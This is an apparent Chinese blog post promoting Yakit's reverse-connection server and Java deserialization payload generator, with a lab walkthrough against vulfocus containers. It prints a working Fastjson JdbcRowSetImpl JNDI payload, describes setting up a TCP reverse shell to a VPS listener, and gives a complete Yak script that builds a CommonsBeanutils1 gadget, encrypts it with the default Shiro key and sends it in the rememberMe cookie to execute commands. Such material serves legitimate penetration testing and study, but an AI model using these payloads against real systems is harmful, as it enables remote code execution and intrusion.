新功能史上最好用的反连&JavaHack,安全能力基座强化ing

新功能史上最好用的反连&JavaHack,安全能力基座强化ing

反序列化、类加载、JNDI漏洞利用是Java漏洞中特别常见的几种类型,但相对来说利用过程又是较为复杂的。所以Yakit提供了两个特别好用的功能,无需Java环境,仅需一个Yakit。
下面先介绍下使用方法再演示下实战利用。

反连服务器

返连服务可用于手工渗透测试,既可用于漏洞检测,也可用于漏洞利用。

本地启动

初始页面如图(如果有配置公网反连,则会自动启用公网穿透,并自动填写Bridge信息),反连地址默认是获取本机的第一块网卡IP

启动成功后如图,根据需求填写蓝色提示框内的地址


漏洞检测

写一段java代码测试下连接

在Yakit上可以看见收到请求,token为aaa,返回内容为<empty>(代表响应内容为空)

漏洞利用

在返连页面右上角有个Payload配置,开启后可以看见左面出现类似 Yso-Java Hack 的页面,在这里可以配置payload,命令填写open /System/Applications/Calculator.app,然后点生成。可以看见返连地址自动添加了token。

复制新地址,再试一下连接ldap,发现弹出计算器

在 Yakit 上可以看见利用流程: 受害端发出 ldap 请求,Yakit 返回一个 reference 类,指向一个 web 地址 -> 受害端访问 web 地址,Yakit 返回一个恶意类 -> 受害端加载恶意类导致命令执行。

公网穿透

对于公网的目标,反连服务就需要在公网监听了,一是可以将Yak引擎公网部署,二是可以在公网搭建Bridge,这里主要讲下第二种方法。
首先需要在 VPS 上安装 Yak 引擎(执行bash <(curl -sS -L http://oss.yaklang.io/install-latest-yak.sh)进行安装),执行yak grpc --secret yourpassword启动Bridge,更多介绍可以看这篇文章《想拥有自己的 Yak Bridge? DNSLog、ICMPLog、TCPLog 全部免费》。
如图输入 Bridge 地址和密码,启动(如果报错 connection refused 则表示连接 Bridge 失败,检查下密码是否正确、端口是否成功开启、vps 上是否有防火墙限制、云服务控制台上是否设置了安全策略)

连接成功后可以看到反连地址的 IP 已经变为 Bridge 服务器的 IP 了,接下来的操作和本地启动相同。

Yso-Java Hack

页面初始状态如图,左侧配置 payload 参数,右侧用来展示生成的 payload

生成序列化payload

默认开启 “使用利用链”,即生成序列化 payload ,一级选项是利用链,二级选项是恶意类。鼠标放到小问号上可以看到介绍。

选择利用链和恶意类后,会出现配置表单,类名默认是随机生成的,填写所有表单信息,点击生成,就可以在右侧看到生成的 payload ,点击上方可以切换展示方式。

还可以展示生成payload的代码,还可以将代码发送到Yak Runner,师傅们写插件时如果懒得写,就可以直接在这里直接生成代码。

最新版本 payload 展示类型增加了一个 DUMP ,可以看到 payload 的数据结构,像下面这样。

生成恶意类

如图,关闭 “使用利用链” 就可以生成恶意类,具体操作和生成利用链类似

可以看见关闭 “使用利用链” 时多了一个启动反连服务按钮,下面再看一下反连服务。

配合反连使用

在配置好恶意类后,点击启动反连,就可以使用当前恶意类直接启动反连了(如果配置了公网反连则使用此配置启动,否则使用本地启动,如果启动失败,请自行在高级配置里配置反连地址),如图

实战测试

新功能介绍完了,下面看下实战场景吧,以 Fastjson 和 shiro 利用为例

Fastjson测试

这里使用 vulfocus 启动一个 CNVD-2017-02833 实例,攻击流程如下

  1. 在 vps 启动一个 yak 引擎yak grpc --host 0.0.0.0,Yakit 端输入服务器地址和端口(默认8087),连接
  2. 打开Yakit的端口监听器,监听一个端口,以 8086 为例

  • 启动反连服务器并配置恶意类为 TCPReverseShell ,主机填 vps 的 ip ,端口填上面监听的 8086 ,点击应用

  • 打开 webfuzzer,发送 Payload

POST / HTTP/1.1
Host: 目标地址
Content-Type: application/json

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"<这里填写 “LDAP反连地址” 或 “RMI反连地址” >",
        "autoCommit":true
    }
}

如图,反连列表中可以看见成功收到 LDAP 和 HTTP 请求,说明目标成功加载了恶意类(如果只收到 LDAP 请求,没有 HTTP 请求,可能是目标未开启 com.sun.jndi.ldap.object.trustURLCodebase )


端口监听器收到了目标机器的连接

Shiro测试

使用vulfocus/shiro-CVE-2016-4437镜像搭建环境,启动Yakit
打开Yso-Java Hack,利用链选择CommonsBeanutils1,恶意类选择RuntimeExec,填写命令,生成Yak代码

编写Yak脚本

// 生成key
base64Key=`kPH+bIxk5D2deZiIxcaaaA==`
key,_ = codec.DecodeBase64(base64Key)
// 生成payload
gadgetObj,err = yso.GetCommonsBeanutils1JavaObject(yso.useRuntimeExecEvilClass("touch /tmp/111"),yso.obfuscationClassConstantPool(),yso.evilClassName("yVeqoYww"))
if err != nil {
    println(err.Error())
    return
}
payload,err = yso.ToBytes(gadgetObj)
// 加密payload
payload = codec.PKCS5Padding(payload, 16)
encodePayload = codec.AESCBCEncrypt(key, payload, nil)[0]
finalPayload = codec.EncodeBase64(append(key, encodePayload...))
// 发送payload
rsp,req,err = poc.HTTP(`GET /login HTTP/1.1
Host: 目标
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: no-cache
Cookie: rememberMe={{params(payload)}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36

`,poc.params({"payload":finalPayload}))
headers, _ = str.SplitHTTPHeadersAndBodyFromPacket(rsp)
println(string(headers))

执行后进入容器看见/tmp目录下多了111文件,利用成功

总结

有些Java漏洞的利用太繁琐了,需要java环境、多种工具配合使用、还要在 VPS 上看回显、记各种命令…
对比之下 Yakit 真的太好用了。本次更新的两个功能基本上可以解决大部分Java漏洞利用的场景,希望师傅们多多使用,欢迎提出意见。

附上插件最新功能速递

插件可以申请修改他人的插件啦~作者同意修改后,插件协作者也会增加你的署名噢~
插件仓库—下载—编辑—提交申请内容,只需几步轻松完成

提交修改以后,可在“日志”查看修改记录,以及作者审核结果

为了帮助作者更好审核插件,贴心提供了插件源码的对比功能,一眼就可看出修改内容

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值